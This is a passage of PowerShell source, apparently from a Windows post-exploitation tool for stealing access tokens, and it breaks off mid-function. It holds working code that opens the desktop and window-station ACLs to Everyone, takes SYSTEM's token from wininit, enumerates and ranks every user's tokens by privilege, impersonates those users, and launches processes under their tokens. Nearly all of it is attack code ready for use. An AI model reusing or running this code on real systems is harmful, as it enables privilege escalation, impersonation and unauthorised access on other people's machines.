$hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) - - if ($hWinsta -eq [IntPtr]::Zero) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - Set-DesktopACLToAllowEveryone -hObject $hWinsta - $CloseHandle.Invoke($hWinsta) | Out-Null - - #Change the privilege for the current desktop to allow full privilege for all users - $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) - if ($hDesktop -eq [IntPtr]::Zero) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - Set-DesktopACLToAllowEveryone -hObject $hDesktop - $CloseHandle.Invoke($hDesktop) | Out-Null - } - - - function Set-DesktopACLToAllowEveryone - { - Param( - [IntPtr]$hObject - ) - - [IntPtr]$ppSidOwner = [IntPtr]::Zero - [IntPtr]$ppsidGroup = [IntPtr]::Zero - [IntPtr]$ppDacl = [IntPtr]::Zero - [IntPtr]$ppSacl = [IntPtr]::Zero - [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero - #0x7 is window station, change for other types - $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) - if ($retVal -ne 0) - { - Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" - } - - if ($ppDacl -ne [IntPtr]::Zero) - { - $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) - - #Add all users to acl - [UInt32]$RealSize = 2000 - $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) - $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) - if (-not $Success) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - #For user "Everyone" - $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) - $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) - $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) - $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero - $TrusteeObj.MultipleTrusteeOperation = 0 - $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID - $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP - $TrusteeObj.ptstrName = $pAllUsersSid - - #Give full permission - $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) - $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) - $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) - $ExplicitAccess.grfAccessPermissions = 0xf03ff - $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS - $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE - $ExplicitAccess.Trustee = $TrusteeObj - - [IntPtr]$NewDacl = [IntPtr]::Zero - - $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) - if ($RetVal -ne 0) - { - Write-Error "Error calling SetEntriesInAclW: $RetVal" - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) - - if ($NewDacl -eq [IntPtr]::Zero) - { - throw "New DACL is null" - } - - #0x7 is window station, change for other types - $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) - if ($RetVal -ne 0) - { - Write-Error "SetSecurityInfo failed. Return value: $RetVal" - } - - $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null - } - } - - - #Get the primary token for the specified processId - function Get-PrimaryToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [UInt32] - $ProcessId, - - #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. - [Parameter()] - [Switch] - $FullPrivs - ) - - if ($FullPrivs) - { - $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS - } - else - { - $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY - } - - $ReturnStruct = New-Object PSObject - - $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) - $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess - if ($hProcess -eq [IntPtr]::Zero) - { - #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." - return $null - } - else - { - [IntPtr]$hProcToken = [IntPtr]::Zero - $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) - - #Close the handle to hProcess (the process handle) - if (-not $CloseHandle.Invoke($hProcess)) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" - } - $hProcess = [IntPtr]::Zero - - if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" - return $null - } - else - { - $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken - } - } - - return $ReturnStruct - } - - - function Get-ThreadToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [UInt32] - $ThreadId - ) - - $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS - - $RetStruct = New-Object PSObject - [IntPtr]$hThreadToken = [IntPtr]::Zero - - $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) - if ($hThread -eq [IntPtr]::Zero) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists - { - Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" - } - } - else - { - $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated - ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed - { - Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" - } - } - else - { - Write-Verbose "Successfully queried thread token" - } - - #Close the handle to hThread (the thread handle) - if (-not $CloseHandle.Invoke($hThread)) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" - } - $hThread = [IntPtr]::Zero - } - - $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken - return $RetStruct - } - - - #Gets important information about the token such as the logon type associated with the logon - function Get-TokenInformation - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken - ) - - $ReturnObj = $null - - $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) - [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" - } - else - { - $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) - - #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) - - [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero - $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) - if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) - { - Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" - } - else - { - $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) - if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and - $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) - { - #Get the username and domainname associated with the token - $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) - $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) - - #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) - #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account - #results in querying the domain controller which is unwanted. - if ($Username -ieq "$($env:COMPUTERNAME)`$") - { - [UInt32]$Size = 100 - [UInt32]$NumUsernameChar = $Size / 2 - [UInt32]$NumDomainChar = $Size / 2 - [UInt32]$SidNameUse = 0 - $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) - $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) - $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) - - if ($Success) - { - $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) - $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) - } - else - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) - $UsernameBuffer = [IntPtr]::Zero - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) - $DomainBuffer = [IntPtr]::Zero - } - - $ReturnObj = New-Object PSObject - $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain - $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username - $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken - $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType - - - #Query additional info about the token such as if it is elevated - $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false - - $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) - $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" - } - else - { - $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) - if ($TokenElevation.TokenIsElevated -ne 0) - { - $ReturnObj.IsElevated = $true - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) - - - #Query the token type to determine if the token is a primary or impersonation token - $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" - - [UInt32]$TokenTypeSize = 4 - [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) - switch($TokenType) - { - 1 {$ReturnObj.TokenType = "Primary"} - 2 {$ReturnObj.TokenType = "Impersonation"} - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) - - - #Query the impersonation level if the token is an Impersonation token - if ($ReturnObj.TokenType -ieq "Impersonation") - { - $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" - - [UInt32]$ImpersonationLevelSize = 4 - [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) - switch ($ImpersonationLevel) - { - 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } - 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } - 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } - 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) - } - - - #Query the token sessionid - $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown" - - [UInt32]$TokenSessionIdSize = 4 - [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) - $ReturnObj.SessionID = $TokenSessionId - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) - - - #Query the token privileges - $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() - $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() - - [UInt32]$TokenPrivilegesSize = 1000 - [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" - } - else - { - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - - #Loop through each privilege - [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) - $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) - { - $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) - - $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) - - #Lookup privilege name - [UInt32]$PrivilegeNameSize = 60 - $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) - $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid - - $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" - } - $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) - - #Get the privilege attributes - $PrivilegeStatus = "" - $Enabled = $false - - if ($LuidAndAttribute.Attributes -eq 0) - { - $Enabled = $false - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default - { - $Enabled = $true - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled - { - $Enabled = $true - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. - { - Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " - } - - if ($Enabled) - { - $ReturnObj.PrivilegesEnabled += ,$PrivilegeName - } - else - { - $ReturnObj.PrivilegesAvailable += ,$PrivilegeName - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - - } - else - { - Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" - } - - #Free LogonSessionData - $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) - $LogonSessionDataPtr = [IntPtr]::Zero - if ($ntstatus -ne 0) - { - Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" - } - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - $LuidPtr = [IntPtr]::Zero - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) - $TokenStatsPtr = [IntPtr]::Zero - - return $ReturnObj - } - - - #Takes an array of TokenObjects built by the script and returns the unique ones - function Get-UniqueTokens - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [Object[]] - $AllTokens - ) - - $TokenByUser = @{} - $TokenByEnabledPriv = @{} - $TokenByAvailablePriv = @{} - - #Filter tokens by user - foreach ($Token in $AllTokens) - { - $Key = $Token.Domain + "\" + $Token.Username - if (-not $TokenByUser.ContainsKey($Key)) - { - #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because - # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. - if ($Token.LogonType -ne 3 -and - $Token.Username -inotmatch "^DWM-\d+$" -and - $Token.Username -inotmatch "^LOCAL\sSERVICE$") - { - $TokenByUser.Add($Key, $Token) - } - } - else - { - #If Tokens have equal elevation levels, compare their privileges. - if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated) - { - if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) - { - $TokenByUser[$Key] = $Token - } - } - #If the new token is elevated and the current token isn't, use the new token - elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) - { - $TokenByUser[$Key] = $Token - } - } - } - - #Filter tokens by privilege - foreach ($Token in $AllTokens) - { - $Fullname = "$($Token.Domain)\$($Token.Username)" - - #Filter currently enabled privileges - foreach ($Privilege in $Token.PrivilegesEnabled) - { - if ($TokenByEnabledPriv.ContainsKey($Privilege)) - { - if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) - { - $TokenByEnabledPriv[$Privilege] += ,$Fullname - } - } - else - { - $TokenByEnabledPriv.Add($Privilege, @($Fullname)) - } - } - - #Filter currently available (but not enable) privileges - foreach ($Privilege in $Token.PrivilegesAvailable) - { - if ($TokenByAvailablePriv.ContainsKey($Privilege)) - { - if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) - { - $TokenByAvailablePriv[$Privilege] += ,$Fullname - } - } - else - { - $TokenByAvailablePriv.Add($Privilege, @($Fullname)) - } - } - } - - $ReturnDict = @{ - TokenByUser = $TokenByUser - TokenByEnabledPriv = $TokenByEnabledPriv - TokenByAvailablePriv = $TokenByAvailablePriv - } - - return (New-Object PSObject -Property $ReturnDict) - } - - - function Invoke-ImpersonateUser - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken - ) - - #Duplicate the token so it can be used to create a new process - [IntPtr]$NewHToken = [IntPtr]::Zero - $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" - } - else - { - $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) - if (-not $Success) - { - $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" - } - } - - $Success = $CloseHandle.Invoke($NewHToken) - $NewHToken = [IntPtr]::Zero - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" - } - - return $Success - } - - - function Create-ProcessWithToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken, - - [Parameter(Position=1, Mandatory=$true)] - [String] - $ProcessName, - - [Parameter(Position=2)] - [String] - $ProcessArgs, - - [Parameter(Position=3)] - [Switch] - $PassThru - ) - Write-Verbose "Entering Create-ProcessWithToken" - #Duplicate the token so it can be used to create a new process - [IntPtr]$NewHToken = [IntPtr]::Zero - $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" - } - else - { - $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) - [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) - $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null - [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct - - $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) - [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) - - $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName") - $ProcessArgsPtr = [IntPtr]::Zero - if (-not [String]::IsNullOrEmpty($ProcessArgs)) - { - $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs") - } - - $FunctionName = "" - if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) - { - #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because - #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege - #which is not ideal. - Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token." - Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege - $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) - $FunctionName = "CreateProcessAsUserW" - } - else - { - Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token." - $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) - $FunctionName = "CreateProcessWithTokenW" - } - if ($Success) - { - #Free the handles returned in the ProcessInfo structure - $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) - $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null - $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null - - #Pass created System.Diagnostics.Process object to pipeline - if ($PassThru) { - #Retrieving created System.Diagnostics.Process object - $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId - - #Caching process handle so we don't lose it when the process exits - $null = $returnProcess.Handle - - #Passing System.Diagnostics.Process object to pipeline - $returnProcess - } - } - else - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "$FunctionName failed. Error code: $ErrorCode" - } - - #Free StartupInfo memory and ProcessInfo memory - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) - $StartupInfoPtr = [Intptr]::Zero - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) - $ProcessInfoPtr = [IntPtr]::Zero - [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) - $ProcessNamePtr = [IntPtr]::Zero - - #Close handle for the token duplicated with DuplicateTokenEx - $Success = $CloseHandle.Invoke($NewHToken) - $NewHToken = [IntPtr]::Zero - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" - } - } - } - - - function Free-AllTokens - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [PSObject[]] - $TokenInfoObjs - ) - - foreach ($Obj in $TokenInfoObjs) - { - $Success = $CloseHandle.Invoke($Obj.hToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" - } - $Obj.hToken = [IntPtr]::Zero - } - } - - - #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. - function Enum-AllTokens - { - $AllTokens = @() - - #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. - #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token. - $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id - if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) - { - Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" - } - - if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) - { - 